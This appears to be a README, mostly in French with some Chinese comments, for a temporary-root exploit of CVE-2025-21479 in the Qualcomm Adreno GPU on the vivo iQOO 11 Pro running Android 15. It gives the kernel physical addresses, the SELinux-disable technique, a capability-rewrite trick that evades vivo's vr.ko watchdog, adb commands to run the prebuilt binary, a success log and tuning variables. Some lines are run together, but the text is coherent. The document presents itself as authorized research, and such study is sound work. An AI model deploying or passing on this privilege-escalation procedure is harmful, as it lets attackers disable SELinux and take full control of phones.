
CVE-2025-21479 (Qualcomm Adreno GPU) notes de reproduction pour vivo iQOO 11 Pro (PD2254) - recherche autorisée
Recherche de sécurité autorisée sur un appareil personnel. CVE-2025-21479 est une vulnérabilité du GPU Qualcomm Adreno publique, corrigée (2025-08) et inscrite au catalogue CISA KEV. Ce document décrit l'intégralité du processus et de la livraison finale de la reproduction d'un root temporaire sur iQOO 11 Pro.
and $04, $12, 0x3 du firmware v675 (0x7 dans la version corrigée), permettant aux flux de commandes en espace utilisateur de contourner les vérifications de permissions et d'exécuter des opérations GPU privilégiées (détournement des tables de pages SMMU), aboutissant à des lectures/écritures arbitraires en mémoire physiqueLe firmware Android 16 (16.3.10.1) est corrigé ; cette reproduction ne s'applique qu'à Android 15 (15.2.12.2).
a740_sqe.fw depuis le paquet OTA complet : 75 380 octets, le motif d'instruction vulnérable 0300 422a (and $04,$12,0x3) présente 3 occurrences → non corrigé_text=0xffffffc008000000, _stext=0xffffffc008010000, swapper_pg_dir, selinux_state, init_task_stext physique est fixé à 0xa8010000 (PHYS_OFFSET=0xA8000000, disposition standard SM8550), vérifié côté VMLINUX à 0xffffffc008010000selinux_state.enforcing=0. Il a été vérifié que le noyau A15 du PD2254 possède CONFIG_SECURITY_SELINUX_DEVELOP=y (présence dans kallsyms de sel_write_enforce/enforcing_setup), enforcing_enabled() lit le champ à l'exécution → l'écriture est effective, getenforce affiche Permissive0xfebeb000 + candidats proches en 2-4 Go + candidats épars en zone haute 5-11 Go → taux de réussite nettement améliorévr.ko de vivo (module intégré dans vendorboot) utilise des hooks kprobe/tracepoint + un thread de surveillance pour tuer tout processus uid=0, avec en plus un auto-masquage du module et une vérification vermagic. Par conséquent, on ne met pas uid à zéro ; on réécrit physiquement les bits de capability des cred (uid conservé à 2000 + toutes les caps + PR_SET_KEEPCAPS/) → conservation de l'ensemble complet des capacités à travers exec, équivalent à root, sans déclencher le watchdog
Journal de réussite (premier passage, appareil initialement en Enforcing, chemin d'écriture physique d'enforcing) :
phyaddr: 0xfebeb000 (attempt 1/27) # spray 候选命中
GPU R/W ready # 任意物理读写建立
found _stext at 0xa8010000 # KASLR 泄漏(扫描路径;显式 CHEESE_STEXT_PA 时无此行)
FW symbols resolved
stext = 0xa8010000 # 物理 _stext = VA - 0xffffffc000000000 + 0xA8000000
SELinux enforcing overwrite verified (readback=1 enforce=0)
self creds: full caps granted (uid=2000 kept, watchdog dodge)
root shell (uid=2000, full caps kept)...
Si on l'exécute une seconde fois dans la même session (SELinux déjà en mode permissif), cette ligne devient
SELinux already permissive.
# 设备刷入 Android 15 (15.2.12.2) 后:
adb push cheese /data/local/tmp/
adb shell chmod 755 /data/local/tmp/cheese
adb shell CHEESE_STEXT_PA=0xa8010000 /data/local/tmp/cheese
# 完成后当前 adb shell 会话即为 root shell(uid=2000 + 全 caps),SELinux 宽容模式
Variables d'environnement :
Nouvelles tentatives automatiques : bash cheese_auto.sh (exécution en boucle, détection des redémarrages hors ligne, écriture des journaux sur disque).
vr.ko de vivo tue les processus uid=0 et le module s'auto-masque ; ni persistance ni intégration KernelSU n'ont été réalisées (le module KernelSU ne peut pas être chargé via insmod car le noyau n'exporte pas les symboles, voir l'annexe)cheese : artefact compilé (ELF Android aarch64, NDK r28, livraison binaire, code source non public)cheese_auto.sh : script de nouvelles tentatives automatiquesREADME.md : ce documentlib/modules/5.15-gki/vr.ko dans vendorboot.img (389 Ko)Ce dépôt est destiné uniquement à la recherche en sécurité et à des fins éducatives ; tous les tests ont été réalisés sur des appareils personnels de l'auteur. Veuillez l'utiliser dans le cadre d'une autorisation légale. L'utilisateur assume l'ensemble des risques.
| Champ | Valeur |
|---|
| Appareil | vivo iQOO 11 Pro (PD2254 / V2254A) |
| Système | Android 15, PD2254B_A_15.2.12.2.W10 |
| Noyau | 5.15.178-g3dc7c01077b8-dirty |
| SoC | Snapdragon 8 Gen 2 (SM8550 / kalama) |
| GPU | Adreno 740, firmware a740_sqe.fw v675 (version vulnérable) |
SECBIT_KEEP_CAPSCHEESE_ZERO_IDS=1 emprunte l'ancien chemin (uid remis à zéro, tué par vivo, débogage uniquement)| Élément vérifié | Résultat |
|---|
getenforce | Permissive |
/sys/fs/selinux/enforce | 0 |
| Capacités du processus | CapEff=ffffffffffffffff (ensemble complet de capacités) |
| Shell root | Accès à sh, insmod / lecture-écriture de fichiers arbitraires disponibles |
| Variable | Rôle |
|---|
CHEESE_STEXT_PA | Spécifie l'adresse physique de _stext (défaut 0xa8010000 ; en cas d'échec de vérification, retour automatique au balayage) |
CHEESE_ATTEMPT | Spécifie l'indice de l'adresse physique candidate |
CHEESE_ROUNDS | Nouvelles tentatives automatiques en plusieurs passes |
CHEESE_NO_RETRY | Désactive les nouvelles tentatives automatiques |
CHEESE_ZERO_IDS | Met également uid/gid à zéro quand positionné à 1 (ancien comportement, déclenche le watchdog de vivo, débogage uniquement) |
ROOT_CMD | Exécute directement la commande spécifiée après élévation (en conjonction avec le chemin de cold-patch cap_capset) |